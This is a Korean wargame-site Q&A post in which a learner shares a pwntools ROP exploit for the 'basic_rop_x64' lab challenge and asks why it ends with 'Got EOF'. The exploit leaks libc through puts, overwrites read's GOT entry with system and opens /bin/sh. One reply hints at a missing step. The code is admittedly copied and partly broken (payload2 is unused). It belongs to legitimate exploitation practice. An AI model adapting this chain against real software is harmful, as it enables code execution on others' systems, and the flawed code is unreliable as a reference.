익스코드 좀 봐주세요

from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))

p = remote("host3.dreamhack.games",15910)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")

read_plt=e.plt['read']
read_got=e.got['read']
puts_plt=e.plt['puts']
pop_rdi=0x0000000000400883
pop_rsi_pop_r15=0x0000000000400881
payload=b'A'*48

payload+=p64(pop_rdi)+p64(read_got)
payload+=p64(puts_plt)

payload+=p64(pop_rdi)+p64(0)
payload+=p64(pop_rsi_pop_r15)+p64(read_got)+p64(0)
payload+=p64(read_plt)

payload+=p64(pop_rdi)
payload+=p64(read_got+0x8)
payload+=p64(read_plt)

p.sendline(payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb=read-libc.symbols["read"]
system=lb+libc.symbols["system"]

payload2 = b'B'*0x48
payload2 += p64(pop_rdi)

p.send(p64(system)+b"/bin/sh\x00")
p.interactive()

먼저 이렇게 익스코드만 떡하니 올려놓아서 죄송합니다
솔직히 rop 체인으로
payload+=p64(pop_rdi)+p64(read_got)
payload+=p64(puts_plt)

payload+=p64(pop_rdi)+p64(0)
payload+=p64(pop_rsi_pop_r15)+p64(read_got)+p64(0)
payload+=p64(read_plt)
이렇게 구성한다고 강의에 써있는데 이게 정확히 무슨 뜻인지
잘 파악이 안 되서 익스코드에 그냥 그대로 가져왔습니다.
구체적인 주소까지는 제가 구할 수는 있어서 그냥 몇 가지
구해서 붙여보았습니다.

이렇게 쳤을 때 Got EOF while reading in interactive
이런 식으로 아웃풋이 발생합니다. 즉 제 익스코드가 잘못되었다는 얘긴데.. 음 잘못되었다는 건 알겠는데 도대체 어떤 부분이 잘못되었다는 건지 구체적으로 잘 모르겠습니다.

어떤 부분이 잘못된 것인지 어떤 것을 참고하면 좋은지 약간의
가이드라도 주시면 감사할 것 같습니다.
정말 몰겠...

#모르게쒀요
작성자 정보
답변 1
avatar
wyv3rn
무플 방지 위원회장

p.sendline(payload)
read = u64(p.recvn(6)+b"\x00"*2)
여기 사이에 뭔가 빠진 것 같은데요? ㅎㅎ

2022.08.31. 13:23
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기